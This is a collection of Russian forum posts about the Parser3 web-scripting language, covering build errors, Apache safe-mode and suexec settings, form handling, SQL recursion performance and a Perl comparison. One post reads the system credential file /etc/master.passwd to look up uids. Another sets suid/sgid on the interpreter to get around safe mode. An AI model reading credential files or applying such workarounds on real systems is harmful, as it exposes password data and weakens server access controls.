$lparams[^hash::create[$in_params]]^untaint[xml]{<?xml version=\"1.0\" encoding=\"$response:charset\" ?>\
[/quot]\
\
я предлагал воспользоваться $result для подавления перевода строки, чтобы не писать в одну строчку (что неудобно ни писать ни читать):\
[code]\
@xmlFormLogon[in_params][lparams]\
$lparams[^hash::create[$in_params]]\
$result[^untaint[xml]{<?xml version=\"1.0\" encoding=\"$response:charset\" ?>]\
[/code]"
"32824","сами понимаете, если будете на основании $exception.source делать какие-то выводы, то рано или поздно там будет лежать неожидаемая вами сейчас строка."
"32825","предлагаю также вместе нажать на автора libgdome, чтобы не надо было никаких patch'ей и других неприятных действий.\
\
если заметили, в предыдущих версиях parser надо было patch'ить и libxml, уже какое-то время не надо.\
\
думаю, после этого сборка будет более простым и проще автоматизируемым процессом."
"32828","linux 2.2.16 (Slakware 6.1)\
\
Нужна перекомпиляция из-за:\
parser3: /lib/libc.so.6: version `GLIBC_2.2.4' not found (required by parser3)\
parser3: /lib/libc.so.6: version `GLIBC_2.2' not found (required by parser3)\
\
Скачал src parser-3.1.3.tar.gz\
Скачал src gc6.1.tar.gz\
\
cd libgc-x.x\
./configure --prefix=$HOME/gc --disable-threads --silent\
make install\
\
cd ..\
\
mkdir $HOME/parser3project\
cd $HOME/parser3project\
gunzip -c parser-3.1.3.tar.gz | tar xvf -\
mv parser-3.1.3 parser3\
cd parser3\
./configure --prefix=$HOME/parser3 --with-static-gc=$HOME/gc/lib\
make\
\
bla bla bla\
потом\
\
source='math.C' object='math.o' libtool=no \\\
depfile='.deps/math.Po' tmpdepfile='.deps/math.TPo' \\\
depmode=gcc /bin/sh ../../depcomp \\\
g++ -DHAVE_CONFIG_H -I. -I. -I../../src/include -I../types -I../sql -I../lib/gd -I../lib/pcre -I../lib/gc/include -I../lib/cord/include -I../lib/sdbm/apr-include -Igd  -I../lib/md5 -I../lib/smtp    -g -O2 -c -o math.o `test -f 'math.C' || echo './'`math.C\
../types/pa_vdouble.h: In method `int VDouble::as_int() const':\
In file included from ../types/pa_vstring.h:16,\
                 from ../types/pa_wcontext.h:14,\
                 from ../types/pa_vmethod_frame.h:13,\
                 from math.C:13:\
../types/pa_vdouble.h:43: warning: implicit declaration of function `int round(...)'\
math.C: In function `double frac(double)':\
math.C:179: warning: implicit declaration of function `int trunc(...)'\
math.C: In function `void _round(class Request &, class MethodParams &)':\
math.C:198: `round' undeclared (first use this function)\
math.C:198: (Each undeclared identifier is reported only once\
math.C:198: for each function it appears in.)\
math.C: In function `void _trunc(class Request &, class MethodParams &)':\
math.C:199: `trunc' undeclared (first use this function)\
math.C: In function `void _sign(class Request &, class MethodParams &)':\
math.C:200: `sign' undeclared (first use this function)\
make[2]: *** [math.o] Error 1\
make[2]: Leaving directory `/usr/local/www/apache/home/1/cvs/bin/parser3/src/classes'\
make[1]: *** [all-recursive] Error 1\
make[1]: Leaving directory `/usr/local/www/apache/home/1/cvs/bin/parser3/src'\
make: *** [all-recursive] Error 1\
bash-2.04$\
\
Скачал из cvs текующую версию. То же самое.\
\
Постоянно при компиляции появлялось\
warning: implicit declaration of function `int round(...)'\
\
Что делать?"
"32829","В принципе, я бы новый glibc поставил в домашний каталог, если бы только научить parser его оттуда брать.  но я не знаю, как изменить $PATH для запускаемого процесса апача :("
"32830","> думаю, после этого сборка будет более простым и проще автоматизируемым процессом.\
\
Ну автоматизация сборки в случае если надо патчить libgdome ненамного сложнее (если вообще сложнее) :) Всего то несколько строчек в sh скрипте. Главное тут невримательность - мало кто досконально изучает инструкции."
"32831","есть класс forms содержащий вот такой метод:\
[code]\
@test[lparams][params;test]\
$params[^hash::create[$lparams]]\
$test(1)\
^params.foreach[key;value]{\
	^if(!def $key){$test(0)}{}\
}\
$result($test)\
[/code]\
и есть страничка с формой где после формы идет такой код:\
[code]\
$ok[\
	^forms:test[\
		$.login[$form:login]\
		$.password[$form:password]\
	]\
]\
^if($ok == 1){ok}{bad}\
[/code]\
Смысл в том чтобы метод проверил заполнил ли пользователь требуемые поля формы, но сейчас в любом случае независимо от полей он возвращает 1 :("
"32833","Действительно глупая ошибка :(\
Спасибо"
"32834","видимо, на данной платформе выбранный способ определения, есть или нет функции не сработал.\
\
workaround: в файле \
  src/include/pa_config_auto.h \
найдите строку\
  #define HAVE_ROUND\
и сотрите её.\
  ./make"
"32835","например данный код:\
[code]\
$test[\
	$.login[Логин:]\
	$.password[Пароль:]\
	$.f_name[Имя:]\
	$.s_name[Фамилия:]\
	$.email[email:]\
]\
^test.foreach[key;value]{\
	$key=$value<br />\
}\
[/code]\
выводит следующее:\
[i]\
f_name=Имя:\
email=email:\
s_name=Фамилия:\
login=Логин:\
password=Пароль:\
[/i]\
По какому принципу парсер перебирает хеш? порядок явно не алфавитный или обратный."
"32836","Скомилировало без ошибок, когда сделал то же самое для trunс и sign\
А не значит ли это, что что-то будет криво в парсере работать? Я так понимаю в классе math\
(при компиляции classes/math.c все ошибки были)"
"32837","реализовать такую вещь, в классе forms я сделал метод рисующий форму:\
[code]\
@form[lparams][params]\
$params[^hash::create[$lparams]]\
^if($form:action eq \"done\"){\
	<p>$params.message</p>\
}{\
	<form\
		method=\"post\"\
		action=\"/$params.action\"\
		enctype=\"multipart/form-data\"\
	>\
	<input type=\"hidden\" name=\"$params.do\" value=\"do\" />\
	^params.foreach[key;value]{\
		^if($key eq action || $key eq do || $key eq message){}{\
			$value <br />\
			<input name=\"$key\" value=\"$form:$key\"><br />\
		}\
	}\
	<input type=\"submit\" name=\"action\" value=\"Отправить\" />\
	</form>\
}\
[/code]\
вызываю я его из нужного места следующим образом:\
[code]\
^forms:form[\
	$.action[index.html]\
	$.login[Логин:]\
	$.password[Пароль:]\
	$.f_name[Имя:]\
	$.s_name[Фамилия:]\
	$.email[email:]\
	$.do[form1]\
	$.message[Спасибо что заполнили форму]\
]\
[/code]\
он работает, но выводит смешанные поля, то есть сначала имя, потом email, потом пароль, что ни есть хорошо. Как бы пофиксить? Конечно я могу в нужных местах и так писать нужные формы, но теперь мне интересно как вообще можно это красиво реализовать?"
"32838","например:\
\
[code]\
^forms:form[\
	$.action[index.html]\
	$.fields[^table::create{name	type\
Логин:	text\
Пароль:	password\
Имя:	text\
Фамилия:	text\
email:	text\
form1	hidden}\
	$.message[Спасибо что заполнили форму]\
]\
[/code]\
\
2."
"32839","если не лень, пришлите мне config.log, чтобы проверил, почему на этот раз не заладилось автоопределение на данной платформе, и поправил на будущее."
"32840","parser is in safe mode: ... fuid(1009)!=euid(1005) or fgid(1009)!=egid(1005)\
\
[code]\
[gamma] /etc# less master.passwd | grep 1005 | cut -f 1 -d :\
apache\
\
[gamma] /etc# less master.passwd | grep 1009 | cut -f 1 -d :\
vhost-4-\
[/code]\
\
то есть он почему-то проверяет от имени Апача, а не от того, кому принадлежит запущеный скрипт... в PHP проверяет от юзера/группы выполняющегося скрипта...\
\
ожидал такого же, то есть что сайт, описаный так:\
[code]\
# gallery.voskresensk.net\
<VirtualHost *>\
                DocumentRoot \"/www/vhosts/gallery.voskresensk.net/html/\"\
                ServerName \"gallery.voskresensk.net\"\
                ServerAlias \"www.gallery.voskresensk.net\"\
                user vhost-4-\
                group vhost-4-\
                ErrorLog /www/vhosts/gallery.voskresensk.net/logs/error_log\
                CustomLog /www/vhosts/gallery.voskresensk.net/logs/access_log combined\
                <IfModule mod_alias.c>\
                    ScriptAlias /cgi-bin/ \"/www/vhosts/gallery.voskresensk.net/cgi-bin/\"\
                    <Directory \"/www/vhosts/gallery.voskresensk.net/cgi-bin/\">\
                        AllowOverride None\
                        Options None\
                        Order allow,deny\
                        Allow from all\
                    </Directory>\
                </IfModule>\
                <IfModule mod_dir.c>\
                    DirectoryIndex index.phtml\
                </IfModule>\
                <Directory /www/vhosts/gallery.voskresensk.net/html/>\
                        Options None\
                        AllowOverride None\
                </Directory>\
# назначение обработчиком .html страниц\
        AddHandler parser3-handler phtml\
# задание Конфигурационного файла\
        ParserConfig /www/vhosts/gallery.voskresensk.net/cgi-bin/auto.p\
# запрет на доступ к .p файлам, в основном, к auto.p\
        <Files ~ \"\\.p$\">\
            Order allow,deny\
            Deny from all\
        </Files>\
                RLimitMEM   32000000 32000000\
                RLimitCPU   10       30\
                RLimitNPROC 60       60\
</VirtualHost>\
[/code]\
будет читать файлы, принадлежащие vhost-4-:vhost-4-, как в и PHP...\
\
это что, нельзя или надо что-нибудь поправить в исходниках?"
"32841","хотел бы поинтересоваться как улучшить рекурсию...\
у меня вот, на изменении раздела уходит:\
1046.88 ms \
0.515625 seconds\
7868 Kb \
8924 blocks\
\
раздел содржит следующую вложенность:\
[code]\
name_1 \
	name_1_1 \
		name_1_1\
		name_1_2 \
			name_1_2_1 \
				name_1_2_1_1 \
				name_1_2_1_2 \
				name_1_2_1_3 \
				name_1_2_1_4 \
				name_1_2_1_5 \
				name_1_2_1_6 \
			name_1_2_2 \
			name_1_2_3 \
			name_1_2_4 \
		name_1_3 \
[/code]\
думаю понятно, что я изменял раздел [b]name_1[/b]\
________________________________________________________________________________________________________________\
\
скажите, это нормально? нет, я конечно понимаю, что 7868 Kb это не вписывается ни в какие рамки приличия, но... как быть?"
"32843","А мочему нельзя так сделать:\
[code]\
^connect[mysql://user:password@host:port/database?mysql_read_default_group=parser&mysql_read_default_file=~/.my.cnf]{...}\
[/code]\
\
~/.my.cnf:\
[code]\
[parser]\
local-infile=1\
[/code]\
\
Говорит, unknown connect option :( \
Прямо не судьба..."
"32845","проверьте сначала консольным клиентом, поможет ли.\
без parser.\
\
если помогает, могу и сделать опцию."
"32848","но руки не доходят.\
\
приму \"patch -u\", изменение тривиально."
"32849","уменьшил до:\
750 ms \
0.21875 s \
2140 Kb \
2964 blocks \
____________________________________________________________\
ужас?"
"32851","вот самый толстый кусок, без него памяти расходуется на 1,5 Мб меньше, из за чего?\
[code]\
@move[id][checked_pid;get_childrens]\
# есть ли у раздела дети\
$checked_pid(^MAIN:pSQL.sql[int]{SELECT COUNT(*) FROM page WHERE parent_id='$id'})\
^if($checked_pid){\
	^rem{*** если есть выбираем всех ***}\
	$get_childrens[^MAIN:pSQL.sql[table]{SELECT id FROM page WHERE parent_id='$id'}]\
\
	^if($get_childrens){\
		^get_childrens.menu{\
			^parents_move[$id]\
			^childrens_move[$id]\
			^move[$get_childrens.id]\
		}\
	}\
}{\
	^parents_move[$id]\
}\
\
# end @move[]\
####################################################################################################################\
\
@parents_move[id][path]\
# полный путь (вычисляется путем формирования всех относительных uri и записывания их в хеш)\
$path[$full_paths.[$id].uri]\
^MAIN:pSQL.sql[void]{\
	UPDATE navigation\
	SET full_dir='$path'\
	WHERE id='$id'\
}\
\
# end @parents_move[]\
####################################################################################################################\
\
@childrens_move[id][path]\
# полный путь (вычисляется путем формирования всех относительных uri и записывания их в хеш)\
$path[$full_paths.[$id].uri]\
^MAIN:pSQL.sql[void]{\
	UPDATE navigation\
	SET full_dir='$path'\
	WHERE id='$id'\
}\
\
# end @childrens_move[]\
####################################################################################################################\
[/code]\
\
ЗЫ [code]$full_paths.[$id].uri[/code] - это \
таблица с навигацией из базы (id, pid, uri), затем это таблица с полными путями, затем хеш с ключами id"
"32852","простите, методы @parents_move[] и @hildrens_move[] одинаковые, второй не был удален, т.к. в нем были немного другие параметры, теперь он ненужен..."
"32853","1. в чем отличие методов @parents_move[] и @childrens_move[] кроме названия?\
\
2. зачем в методе делать @move[] делать проверку COUNT(*)? если не будет ничего во втором запросе то и menu не случится\
\
3. в чем прикол промежуточных переменных $path? почему в запрос нельзя поставить сразу full_dir='$full_paths.[$id].uri'?\
\
4. и наконец главное: при рекурсии делать sql запрос на каждой итерации цикла как-то неправильно. почитайте про построение деревьев в примерах...\
\
P.S. наверняка ещё и индексов нету :)"
"32854","1. http://www.parser.ru/forum/?id=32852\
\
2. неучел, но 1,5 мега памяти даже 50 таких операций не займут\
\
3. тоже промах, но толку все равно мало\
\
4. раз самое главное, щас проверю :)\
\
ЗЫ индексы стоят на id и parent_id"
"32855","2. они влияют на время\
4. ну я и присал что это главное :)\
\
P.S. ?mode=debug и посмотрите в лог sql класса сколько отжирают памяти/времени ваши запросы и сколько их."
"32856","мне кажется, что надо брать не по скрипту, который выполняется, а по тем же данным, которые использует suexec - а то мало-ли кто положит левый скрипт от рута... то есть получится что либо от юзера, под который выполняется апач сам, либо от юзера, указанного в настройках этого виртуального хоста..."
"32857","Брать все равно из настроек apache.\
\
А вот сколько проверок переносить из suexec - вопрос философский. :)\
\
И надо понимать, что это задаст только парсерные проверки на доступ к файлам - если сделать ^file::cgi[], то cgi запустится от пользователя, под которым работает apache - user/group это настройки suexec, к модулям отношения не имеют.\
\
Кстати интересно, как с этой проблемой ситуация в PHP - запускают cgi из модуля через suexec?"
"32858","IE выдает ошибку:\
[color=\"#663300\"]Unhandled Exception (Debug)\
z:/home/test1.ru/www/index.html(1:13): parse error, expecting `$'\
exception.type=parser.compile[/color]\
При этом в [b]auto.p[/b] \
[code]@main[]\
^header[]\
^body[]\
^footer[]\
@navigation[]\
$sections[^table::load[/sections.cfg]]\
<table>\
   <tr>\
   ^sections.menu{\
      ^navigation_cell[]\
   }\
   </tr>\
</table>\
<br>\
\
@navigation_cell[]\
$cell_width[^eval(100\\$sections)%]\
^if($sections.uri eq $request:uri){\
   <td> \
   <nobr>$sections.name</nobr>\
   </td>\
}{\
   <td width=\"$cell_width\" align=\"middle\"> \
   <a href=\"$sections.uri\"><nobr>$sections.name</nobr></a>\
   </td>\
}\
@footer[]\
<table>\
   <tr>\
      <td></td>\
   </tr>\
</table>\
$now[^date::now[]]\
<center>$now.year</center>\
</font>\
</body>\
</html>\
@header[]\
<html>\
<head>\
</head>\
<body>\
<table>\
   <tr>\
      <td>\
         ^greeting[]\
      </td>\
   </tr>\
</table>\
<br>\
@body[]\
^navigation[]\
<table>\
   <tr>\
      <td>\
         ^body_additional[]\
      </td>\
      <td>\
         ^body_main[]\
      </td>\
   </tr>\
</table>\
<br>[/code]\
В [b]index.html[/b]:\
[code]<html><body>\
@greeting[]\
Добро пожаловать!\
@body_additional[]\
Главная страница сайта\
@body_main[]\
Основное содержание\
</body></html>[/code]"
"32859","Unhandled Exception (Debug)z:/home/test1.ru/www/index.html(1:13): parse error, expecting `$'exception.type=parser.compile\
\
Ошибка произошла в файле по адресу\
z:/home/test1.ru/www/index.html\
\
В строке/символе\
(1:13)\
где 1 строка, 13 символ\
\
Внимание, вопрос!!!\
\
Где в уроке написано вот это\
\
<html><body>\
\
и(или) вот это\
\
</body></html>\
\
,относящееся к файлу index.html\
\
\
ps: В дальнейшем прежде чем задать вопрос проверьте \
1 всё сделано в соответствии с уроком\
2 Посмотрите в FAQ\
3 Поищите аналогичную ошибку в форуме (слева строка для введения поисковых запросов)\
4 Если ничего не найдено задайте вопрос в форум"
"32860","Oleg, спасибо большое за ответ, помог на все 100% :) . Не суди строго, только начал знакомство с Parser. Учту все змечания."
"32861","Есть ли средства, которые при печати страницы из браузера устанавливали бы конец страницы.\
\
Например, печатаю ценники.\
В таблице с ценниками всего 23 строки, а на странице помещается 5 строчек. Так вот после 5-й надо делать проброс листа и начинать печатать на новом. И так после 10-й, 15-й, 20-й.\
Можно, конечно, после нужнй строки вставлять пустую нужной высоты, но это уж слишком прямолинейно.\
\
Заранее спасибо.\
ЗЫ Надеюсь, что этот тред будет интересен не только мне."
"32862","Допустим, есть строка \
item\\tvalue\\nitem1\\tvalue1\\n\
Хочу заменить \\t на табуляцию, а \\n - на перевод строки и потом сделать из этого таблицу. Помню, что-то было вроде \
$rep[^table::create{^taint[\\n] -> ^taint[^#20]}] - но у меня руки кривые и не работает ничего."
"32864","И еще OFF: что значит «\\а	сигнал»? Какой сигнал?"
"32865","\\a - сигнал встроенного в компьютер динамика"
"32866","Ситуация такая. Есть куча страниц которые нужно обойти, выдрать из них инфу, вставить в базу. Страниц много,  загрузка каждой занимает некоторое время, у любого браузера есть таймаут. Как бы организовать работу чтобы всё было хорошо? Чтобы даже в процессе работы скрипта выводились какие ни будь результаты."
"32867","page-break-какое-то-там, сейчас уже точно не припомню..."
"32868","Если вам нужно посчитать сколько раз нажали на ссылку, вот статья с описанием моего варианта решения этой задачи.\
http://www.spearance.ru/parser3/rating/\
\
Спасибо Misha v.3 за помощь в разработке."
"32869","что в ПХП safe_mode.c, что в Апаче suexec - нифига не в одну строчку, как щас в Парсере делается... оно и логично...\
поставлю-ка я пока по старинке модуль ПХП, а Парсер пусть Апач пока SUEXEC'ает как cgi скрипт...\
не на пять минут там делов... и не на десять..."
"32870","split разбтвает только по одной литере/строке, а мне нужно по двум разным."
"32871","Спасибо, а я пробую, у меня ничего не происходит. У меня PC-speaker выдернут из компьютера. Он мне надоел :)"
"32872","[code]\
$str[item\\tvalue\\nitem1\\tvalue1\\n]\
$tbl[^table::create{from	to\
\\n	^taint[^#20]\
...}]\
[/code]"
"32873","http://www.w3.org/TR/REC-CSS2/page.html#page-breaks"
"32875","[code]@main[][qwerty]\
...\
^if(^form:go.int(0)){\
	$MAIN:pSQL[^mysql::init[$SQL.connect-string;$.is_debug(1)]]\
	^MAIN:pSQL.server{\
		^rem{ *** Ищу по уникальному номеру запись, чтобы достать из нее правильную ссылку *** }\
		$link_base[^table::sql{SELECT id, link FROM link_base WHERE id = $form:go}]\
		^if(def $link_base){\
			^rem{ *** Добавляю номер_ссылки+IP/proxy в БД за исключением собственных кликов *** }\
				^try{\
					^if(!^env:REMOTE_ADDR.match[^^127\\.0\\.0\\]){\
						$qwerty[${link_base.id}${env:REMOTE_ADDR}${env:HTTP_X_FORWARDED_FOR}]\
						^void:sql{INSERT INTO click_rating (unique, id) VALUES ('^math:md5[$user]',$link_base.id)}\
					}\
				}{\
					$exception.handled(1)\
				}\
				^rem{ *** Увожу по ссылке, а в случае неудачи показываю главную страницу *** }\
			$response:location[^if(def $link_base.link){^taint[uri][$link_base.link]}{http://www.spearance.ru}]\
		}{\
			^rem{ *** В случае если запись не найдена показываю главную страницу, а можно и 404 *** }\
			$response:location[http://www.spearance.ru]\
		}\
	}\
}\
...[/code]"
"32877","crontab + wget в руки...\
\
У меня так сборщик rss-потоков работает - обходит 50 сайтов по расписанию, складывает результат в базу, а при обращении к bougakov.com/blog/friends/ никаких http-запросов уже не производится..."
"32878","Конечно, помогает.\
Я сделал в домашней директории файл .my.cfg, засунул туда \
[code]\
[mysql]\
local-infile=1\
[/code]\
\
...и утилита mysql запустилась уже с опцией local-infile=1. Очень хочется добиться того же от Parser.\
Спасибо, что уделили мне внимание :-)"
"32881","Хоца, чтобы Parser подсчитал размер Adobe Acrobat Reader 5 CE с сервера Adobe.\
\
[code]\
$acrobat_CE[^file::stat[ftp://ftp.adobe.com/pub/adobe/acrobatreader/win/5.x/arce505enu.exe]]\
^(^eval($acrobat_CE.size/1000)[%d]&nbsp^;Kb^)\
[/code]\
выдает ошибку:\
\
--- begin parser3.log ---\
[Sat Sep 11 13:43:31 2004] /documents/: /home/www/servers/бла-бла-бла/html/documents/index.html(62:20): 'ftp://ftp.adobe.com/pub/adobe/acrobatreader/win/5.x/arce505enu.exe' getting file size failed: No such file or directory (2), real filename 'ftp_3A//ftp.adobe.com/pub/adobe/acrobatreader/win/5.x/arce505enu.exe' [file.missing]\
--- end parser3.log ---\
\
Хотя сам файл на сервере есть."
"32882","а file::stat не работает с удалёнными файлами...\
\
Вы документацию читаете или что?\
\
Если файл доступен по HTTP, как в вашем случае, то можно примерно так:\
[code]\
$file[^file::load[binary;http://ftp.adobe.com/pub/adobe/acrobatreader/win/5.x/arce505enu.exe;$.method[HEAD]]]\
$file.CONTENT-LENGTH\
[/code]"
"32883","Ваш пример работает. Спасибо.\
\"Ответ\" как-то можно \"привести\" к числу, предположим, чтобы округлить?"
"32884","Директория www является открытой, и существует мнение что не безопасно хранить критичные данные в ней. Целесообразно положить их в root-директорию. Для этого можно переопределить корневую директорию: [code]$request:document-root[новый корневой путь][/code]. А как быть с auto.p? Его можно перенести или просто прописать свой класс и вызывать его от туда от куда надо? Что делать?"
"32885","Встретил подобную конструкцию в одном из сообщений. В каких случаях применяются квадратные скобки?"
"32886","строку привести к числу можно с помощью соответствующего метода соответствующего ей класса :)\
\
а на счёт \"в документации не сказано\" это да, но с другой стороны, если начать описывать в документации всё что Парсер не умеет, то вскоре она будет занимать несколько десятков гигабайт, и тогда её вообще никто не будет скачивать =)"
"32889","что Вы \"немного перемудриваете\" (с) с защитой данных. СОВСЕМ критичные данные можно криптовать, а доступ к некоторым типам файлов можно закрыть при помощи апача.\
Кусок из доки:\
# запрет на доступ к .p файлам, в основном, к auto.p\
<Files ~ \"\\.p$\">\
Order allow,deny\
Deny from all\
</Files>"
"32891","что когда выполняешь в консоле, находит что-то (какую-нибудь либу), которой не находит Апач?"
"32892","Понимаю, что не совсем в тему, но мне больше никто не смог помочь, все предлагают PHP, а мне он реально никуда не уперся.\
Дело в том, что в новостной ленте делаю возможность вставки нескольких изображений в 1 новость или присоединение 1 картинки к нескольким новостям. Структура примерно следующая:\
\
News:\
 n_id\
 n_text\
\
Pictures:\
 p_id\
 p_url\
\
Relations:\
 r_n_id\
 r_p_id\
\
Как заполучить n_id и p_id, чтобы запихать в таблицу Relations.\
Нашел возможность получить last_insert_id() но это не прокатит в случае вставки нескольких записей одним запросом или (возможно) при очень активном использовании многими пользователями, когда между своим insert'ом и select last_insert_id() кто-нибудь успеет что-то вставить(причем не обязательно в эту-же таблицу).  "
"32893","Проблема в следующем:\
пользователь получает куку с сайта www.site.ru,\
затем выходит и набирает site.ru\
кука не распознается..."
"32894","Прихотнулось тут сделать тесте Perl vs Parser (в связи наметевшейся тендеции миграции от первого ко второму). Задача стояла проверить как будет себя чуствовать система при постоянной нагрузке, так как счас мой сайт останавливают из большой нагрузки на сервер (используется перл).\
Тест простой - загрузить код, выполнить, сделать редирект. и так итерация 100 раз. Парсер выполнялся в режиме cgi и модуля.\
Все проводится на виндовс машине (целерон 1000, 256мег, апач 1.3.1, Парсер 3.1.3 без XML SQL, ActivePerl 5.6.1) \
\
Результы (усредненные, запуск 3 раза, перед каждым запуском делается перезагрузка сервера и браузера, перед сменой языка - перезагрузка компьютера).\
\
Parser в режиме cgi - 42 секунды.\
Parser в режиме mod - 38 секунды.\
Perl в режиме cgi - 30 секунд.\
\
Какие будут мнения?\
\
Вот коды теста\
Parser\
[code]\
$count($form:count)\
^if(def $count){\
$time[$form:time]\
	^if($count<100){\
		^count.inc[]\
#		$response:location[/test.html?count=$count&time=$time]\
		$response:refresh[\
		 $.value[0]\
		 $.url[/test.html?count=$count&time=$time]\
	]\
	}{\
		$date[^date::now[]]\
		$time - ^date.sql-string[]\
	\
	}\
}{\
	$time[^date::now[]]\
#$response:location[/test.html?count=$count&time=^time.sql-string[]]\
		$response:refresh[\
		 $.value[0]\
		 $.url[/test.html?count=$count&time=^time.sql-string[]]\
	]\
\
}\
[/code]\
\
Перл\
[code]\
#!/usr/local/bin/perl\
\
\
if($ENV{'REQUEST_METHOD'} eq \"POST\") {$_ = <STDIN>} else {$_ = $ENV{'QUERY_STRING'}};\
@pairs=split(/&/, $_);\
my %FORM;\
foreach $pair (@pairs)\
{\
  my($name, $value) = split(/=/, $pair);\
  $value =~ tr/+/ /;\
  $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack(\"C\", hex($1))/eg;\
  if ($allow_html != 1)\
  {\
    $value =~ s/<([^>]|\\n)*>//g;\
  }\
  # убираем пробелы с обоих сторон\
  $value=~s/^\\s+//;\
  $value=~s/\\s+$//;\
  $FORM{$name} = $value;\
}\
\
#print \"Content-type: text/html\\n\\n\";\
$count=$FORM{count} || 0;\
$time=$FORM{time};\
\
if($count)\
{\
	if($count<100)\
	{\
		$count++;\
		print \"Refresh: 0;url=http://urlplus/cgi-bin/test.pl?count=$count&time=$time\\n\\n\";\
	}\
	else\
	{\
		print \"Content-type: text/html\\n\\n\";\
		print \"$time - \".time();\
	}\
}\
else\
{\
	$count=1;\
	$time=time();\
	print \"Refresh: 0;url=http://urlplus/cgi-bin/test.pl?count=$count&time=$time\\n\\n\";\
}\
\
exit;\
[/code]"
"32895","Она и не должна"
"32897","это не показатель, тк большую часть этого времени знимет работа баузера.\
И браузер наверняка стоял на одной машине с сервером, что тоже не могло не сказаться на результатах."
"32898","Конечно на одной, что бы исключить влияние сети - т.е. скрипты работали в одинаковых условиях. Конечно это не стресс тест - нельзя оценить когда начнутся тормоза при обращении скольких клиентов одновременно. Не анализировалась также количество занятой памяти при запуске процессов. Могу только сказать, что лампочка диска моргала более ярко при тестах на перл."
"32899","вот и нету нагрузки..."
"32900","По мне, разница затрачивания времени на каждую итерацию меньше секунды (а в вашем случае это 0,12 сек) вообще не аргумент. Зато разницу в коде вам удалось показать наилучшим образом."
"32901","Помогите, пожалуйста, сделать счетчик.\
тот, что находится [url=\"http://parser2.parser.ru/examples/counter/\"]тут[/url] - не работает почему-то. Выдает ошибку \
\
'inc_host' invalid special name. valid names are 'CLASS', 'USE' and 'BASE'  type: parser.compile\
\
а так надо...."
"32903","это слишком уж просто... :-) надо посложнее что-то"
"32904","Ничто не мешает вам усложнить этот счетчик до [url=\"http://parser2.parser.ru/examples/counter/\"]этого[/url], переписав код на Parser3. Не возьмусь судить о причинах описанной ошибки, но обратите внимание, что задаете вопрос об ошибке в примере для Parser2 на странице о Parser3 :) Может дело в версии интерпритатора?"
"32905","Имело бы некий смысл провести тест по сборке динамической страницы. Запрос в БД, форматирование/преобразование, постпроцесс, выдача (редирект в коде страницы можно организовать). И уж тогда с mod_perl, для чистоты эксперимента.\
Хотя, как правильно заметили, ^cache изрядно изменит картинку :)"
"32906","я как-то в Парсере пока не рублю - буквально неделю назад впервые его увидел... я попытаюсь, но что из этого выйдет.. :-)"
"32907","Правда... Если вы \"усложните\" код счетчика из примеров до чего то нужного вам, то изучите много такого, что пригодится в более серьезных проектах. А если вы еще и задействуете БД, вместо используемых в примере из парсер2 файлов, то ваш код действительно станет представлять некоторую ценность и может его даже разместят в разделе примеры... :)"
"32908","Я постараюсь и попробую его сделать!!!"
"32910","[i]Как заполучить n_id и p_id, чтобы запихать в таблицу Relations.[/i]\
\
Я так понял вас, интересует вариант, когда вы размещаете 1 или более картинок на сервер вместе с новостью\
\
[i]Нашел возможность получить last_insert_id() но это не прокатит в случае вставки нескольких записей одним запросом или (возможно) при очень активном использовании многими пользователями, когда между своим insert'ом и select last_insert_id() кто-нибудь успеет что-то вставить(причем не обязательно в эту-же таблицу).[/i]\
Ещё как прокатит тк last_insert_id() вычисляется для текущего соединения с БД.\
\
Что вам надо сделать\
Разместить новость в БД\
Вычислить last_insert_id() в переменную\
и дальше устанавливать связи с последующими last_insert_id() для картинок с этой переменной"
"32911","А вы сделайте простенький сайт, на котором есть и обращения к БД, и динамическая сборка страниц (и на парсере и на перле) и возьмите славную штуку Paessler Webserver Stress Tool (http://www.wheredown.com/softview.asp?id=4255) - и пущай она вам сымитирует приход на сайт сотни посетителей одновременно.\
\
Потрясающе увлекательное зрелище - видеть, на какой загрузке сайт скопытится в суровых реальных, а не лабораторных условиях."
"32912","делайте за раз часть работы,\
после чего делайте внешний redirect на самого себя с параметром \
[code]\
?УжеСделано=n\
[/code]"
"32914","возможно, кто сделает раньше, приму \"patch -u\"\
\
это в прослойку между parser и mysql три строчки вписать."
"32915","да, обычно различие в PATH или LD_LIBRARY_PATH"
"32916","нажмите и посмотрите на строку адреса. видите изменение?"
"32917","кэширование не берем по одной простой причине, что операция вызова будет примерно такая же простая как и тестовые скрипты. А потом ведь и на другом языке можно кэширование организовать."
"32918","имело бы, но у меня уже не хватает опыта. в добавок сложный код уже будет зависеть от качеств кодировщика и в разных руках он получится разный.\
А пока этот тест показал время загрузки скриптов на отдельно взятой машине."
"32919","а что ни кто не делал такого? хотя это непростая работа сделать одинаково функциональный сайт на 3 языках (+ php конечно)"
"32920","тут большинтво больше волнует не скорость работы сайта (вы сами [url=\"/forum/?id=32918\"]сказали[/url], что код зависит от кодировщика, и от этого сильно зависит и скорость), а скорость/удобство разработки сайта."
"32922","у меня Апач выполняется в chroot окружении... там нету ни sh, ни perl, вообще ничего... так что приходится изобретать чего не хватает..."
"32926","[code]\
%% [Mon Sep 13 09:35:35 2004] GET /cgi-bin/parser3/index.phtml HTTP/1.1\
%% 500 /www/vhosts/gallery.voskresensk.net/cgi-bin/parser3\
%request\
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\
Accept-Charset: windows-1251, utf-8, utf-16, iso-8859-1;q=0.6, *;q=0.1\
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0\
Accept-Language: ru;q=1.0,en;q=0.9\
Connection: Keep-Alive, TE\
Host: gallery.voskresensk.net\
TE: deflate, gzip, chunked, identity, trailers\
User-Agent: Opera/7.54 (Windows NT 5.0; U)  [ru]\
%response\
[/code]"
"32927","из тех, кто пишет такие вопросы...\
\
ну я... может еще пара ламеров таких же..."
"32928","поскольку\
\\apache\\src\\modules\\standard\\mod_cgi.c:\
[code]\
    if (ap_bgets(argsbuffer, HUGE_STRING_LEN, script_err) > 0) {\
	fputs(\"%stderr\\n\", f);\
[/code]\
\
т.е. ничего не было ни на stdout ни на stderr.\
чего не бывает. \
\
диагноз: попробуйте всё же с обёрткой. обёртка на shell требует одного бинарника самого shell интерпретатора."
"32929","поставил еще на всякий случай suid/sguid на parser3 для надежности, чтобы safe mode не мешал...\
\
[code]\
chrootuid /chroot/apache vhost-4- /www/vhosts/gallery.voskresensk.net/cgi-bin/parser3 /www/vhosts/gallery.voskresensk.net/html/test.phtml > error.html\
[/code]"
